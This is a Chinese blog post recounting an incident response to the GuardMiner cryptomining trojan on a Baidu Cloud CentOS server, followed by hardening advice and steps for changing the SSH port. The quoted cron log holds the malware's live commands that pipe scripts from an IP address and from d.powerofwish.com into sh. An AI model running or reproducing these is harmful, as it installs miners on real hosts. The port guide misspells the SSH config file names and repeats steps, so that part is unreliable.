分享挖矿木马 GuardMiner 排查经历

分享 挖矿木马 GuardMiner 症状 && 修改默认远程链接端口 Centos7

    • 前言
    • 发现问题
    • 解决过程和思路
      • 1.删除定时任务
      • 2.删除 newdat.sh
      • 3.提交工单
    • 结论
    • 题外话:修改远程连接端口(Centos7)

前言

今早起来,吃完早餐后,准备在服务器上开始日常学习

本来今天准备玩的工具是 Alibaba 的 arthas

我开开心心的把 arthas 的教学视频和文档看完的时候,登陆服务器准备开干了

后来发现我的百度云服务器被黑了一个木马…而且是很久之前(8月初植入的)…我竟然这么久没发现

不过这事还是比较有意思,第一次遇到服务器被攻击…

所以把排查的过程中的思路和指令记录一下,希望对大家有帮助

资料链接:挖矿木马 GuardMiner

发现问题

在centos上敲命令的时候,每次敲完都会出现,越发的感觉不对劲…

You have new mail in /var/spool/mail/root

一开始没管它,后来几乎半分钟就会出现一次,我觉得应该是后台什么线程在循环调用

我觉得应该先把这个问题解决了,不然每次敲命令都会出现,太难受了

所以我查看了一下这个文件,文件很大,大概有300M左右,所以查看最后写入的数据吧

tail -n 200 /var/spool/mail/root

日志内容,重复打印这两段消息:

/bin/sh: curl: command not found

From [email protected]  Sun Aug 23 13:40:01 2020
Return-Path: 
X-Original-To: root
Delivered-To: [email protected]
Received: by instance-g1almmmy.localdomain (Postfix, from userid 0)
        id C2020120B4A; Sun, 23 Aug 2020 13:40:01 +0800 (CST)
From: "(Cron Daemon)" 
To: [email protected]
Subject: Cron  wget -qO- -U- 120.27.26.189:81/8|sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: 
X-Cron-Env: 
X-Cron-Env: 
X-Cron-Env: 
X-Cron-Env: 
X-Cron-Env: 
X-Cron-Env: 
X-Cron-Env: 
Message-Id: <[email protected]>
Date: Sun, 23 Aug 2020 13:40:01 +0800 (CST)

/bin/sh: wget: command not found

From [email protected]  Sun Aug 23 13:40:01 2020
Return-Path: 
X-Original-To: root
Delivered-To: [email protected]
Received: by instance-g1almmmy.localdomain (Postfix, from userid 0)
        id C72021204B0; Sun, 23 Aug 2020 13:40:01 +0800 (CST)
From: "(Cron Daemon)" 
To: [email protected]
Subject: Cron  curl -fsSL http://d.powerofwish.com/pm.sh | sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: 
X-Cron-Env: 
X-Cron-Env: 
X-Cron-Env: 
X-Cron-Env: 
X-Cron-Env: 
X-Cron-Env: 
X-Cron-Env: 
Message-Id: <[email protected]>
Date: Sun, 23 Aug 2020 13:40:01 +0800 (CST)

这里看不出什么猫腻,只感觉占用了不少磁盘

因为定时就会出现,大概半分钟左右的样子,所以先去看下定时任务

[root@instance-g1almmmy cron]# ll /var/spool/cron
total 4
-rw------- 1 root root 47 Aug  4 01:21 root

很明显,确实有人在8月4号01时21分,用root账户改过定时任务,很明显服务器被攻击了

先看下定时脚本的内容吧

[root@instance-g1almmmy cron]# cat root 
*/30 * * * * sh /etc/newdat.sh >/dev/null 2>&1

这个是 黑客植入挖矿木马 GuardMiner(后来知道的)

当时不知道是什么,想的是先把定时任务删除

[root@instance-g1almmmy ~]# crontab -e
crontab: installing new crontab
/var/spool/cron/#tmp.instance-g1almmmy.XXXXfrjabi: Permission denied
crontab: edits left in /tmp/crontab.ux9TLM

权限不足…我root修改提示权限不足…难道是文件属性被改了?所以我使用了 lsattr 命令查看文件属性

[root@instance-g1almmmy ~]# lsattr /var/spool/cron/        
----i--------e-- /var/spool/cron/root

i:设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容

e: 表示该文件使用ext文件系统存储

这就可以确认服务器确实被黑了,接下来就是想办法解决…

解决过程和思路

当时想的办法就是这几个

  1. 删除定时任务文件或清空定时任务列表(crontab)
  2. 删除/etc/newdat.sh文件
  3. 向服务器供应商提交工单

1.删除定时任务

要修改这个文件,得先把文件属性里的不可改变(i)去掉,使用 chattr 指令

chattr -i /var/spool/cron/root

这里是去掉 i 属性,如果要加上则是 +i

去掉之后,使用 rm 指令删除

[root@instance-g1almmmy cron]# rm -f root

note:rm慎用…特别是生产环境

发现文件果然能删掉

正当我开心时,半分钟后,这个文件又被创建了…
分享挖矿木马 GuardMiner 排查经历_第1张图片

反复几次后,发现这个问题有点棘手

2.删除 newdat.sh

查一下newdat.sh文件

[root@instance-g1almmmy etc]# ll /etc/ |grep newdat.sh
-rwxrwxrwx  1 root root        0 Aug  4 01:21 newdat.sh

一个隐藏大小的文件,感觉删除也不能解决问题,所以我没删除

分析一下:

因为定时任务是调用 newdat.sh 去做事的,所以大概率不会是newdat.sh生成的定时任务

3.提交工单

思来想去,最后还是提交了工单,虽然我是很想自己解决的

经过了一系列的排查,果然是个木马

而且还没什么好的解决办法,这类木马都有后门,删除又会生成新的

所以百度云那边最后得出的结论是:把文件备份到本地后,重装操作系统

其实一开始我是拒绝的,我一堆数据在上面…还有系统环境什么的

后来耐心听了百度云那边的工程师解释了之后,还是把重要的文件备份了,重装了操作系统
附上结论截图
在这里插入图片描述

百度智能云工程师:
已经与您电话沟通了。查看您的服务器内有异常计划任务和脚本,综合您之前发送的计划任务,判断您是被黑了,是中了挖矿病毒,建议您这边重置操作系统以用来解除安全隐患,BCC重置或重装操作系统有两种方式(重置操作系统会导致系统盘所有数据丢失,并且该实例系统盘创建的快照也会全部丢失,请您做好备份后谨慎操作。),1.选择“产品服务>云服务器BCC”,可看到用户已创建的云服务器列表。选择该实例,点击“更多操作>重装操作系统”。2.在“实例名称”列,选择该云服务器的ID链接,进入“实例详情”页面。点击页面中的“重装操作系统”,进行系统的重装。详细参考:https://cloud.baidu.com/doc/BCC/s/8jwvynn4c。服务器安全方面,1.建议业务不需要的端口在防火墙或安全组设置拦截,不对外开放。安全组参考:https://cloud.baidu.com/doc/BCC/s/pjwvynbbm、2.定期更改密码,增加密码复杂度、3.安装安全狗,火绒之类的安全产品,定期查杀病毒4.使用自动快照策略定期创建快照。以便在出现问题时,可以及时回滚数据。自动快照策略参考:https://cloud.baidu.com/doc/CDS/s/sjwvyaern#%E5%88%9B%E5%BB%BA%E8%87%AA%E5%8A%A8%E5%BF%AB%E7%85%A7、这边给您提供下具体的安全加固方案,windows参考:https://cloud.baidu.com/doc/SR/s/Lk
分享挖矿木马 GuardMiner 排查经历_第2张图片

结论

  1. 加强对服务器安全方面的考虑
  2. 强烈建议修改远程连接端口,如果使用默认的22端口…每秒都要被暴力尝试登陆3-10次(后来我查登陆失败的记录发现的,指令:lastb |wc -l),后来我发现服务器有23w次登陆失败的信息…几乎每秒都被攻击不少于3次
  3. 云平台使用自定义的安全组策略
  4. 常做镜像备份,CPU爆满,磁盘满了都还好,清理磁盘文件和关闭进程就行了,如果是文件被恶意加锁后勒索就很麻烦了
  5. 定期修改root用户的密码(尽量设置复杂些),世界上没有绝对安全的密码
  6. 对用户登陆信息(次数、登陆IP、时间等等)做监控

题外话:修改远程连接端口(Centos7)

your_port:你要修改的远程连接端口号

  1. 在云控制台上,安全组规则里加入your_port

  2. 修改两个配置文件

    vim /etc/ssh/shh_config
    vim /etc/ssh/shhd_config
    

    把Prot注释打开,修改为

    Port your_port
    

    注:两个文件都需要改

    重启sshd服务,使更改生效

    systemctl restart sshd
    
  3. 先查看防火墙规则里有没有your_port,如果有的话,就不需要添加

    firewall-cmd --query-port=your_port/tcp
    

    yes:有

    no:没有

  4. your_port加入防火墙规则,重启防火墙

     firewall-cmd --add-port=your_port/tcp --permanent 
    
  5. 重启防火墙,使配置生效

    firewall-cmd --reload
    

    查看防火墙规则里有没有your_port,如果有的话,就不需要添加

    firewall-cmd --query-port=your_port/tcp
    

    yes:有

    no:没有

  6. your_port加入防火墙规则,重启防火墙

     firewall-cmd --add-port=your_port/tcp --permanent 
    
  7. 重启防火墙,使配置生效

    firewall-cmd --reload
    

大功告成,完成以上步骤就能对服务器进行远程连接了

你可能感兴趣的:(linux,云安全,linux,centos,云安全)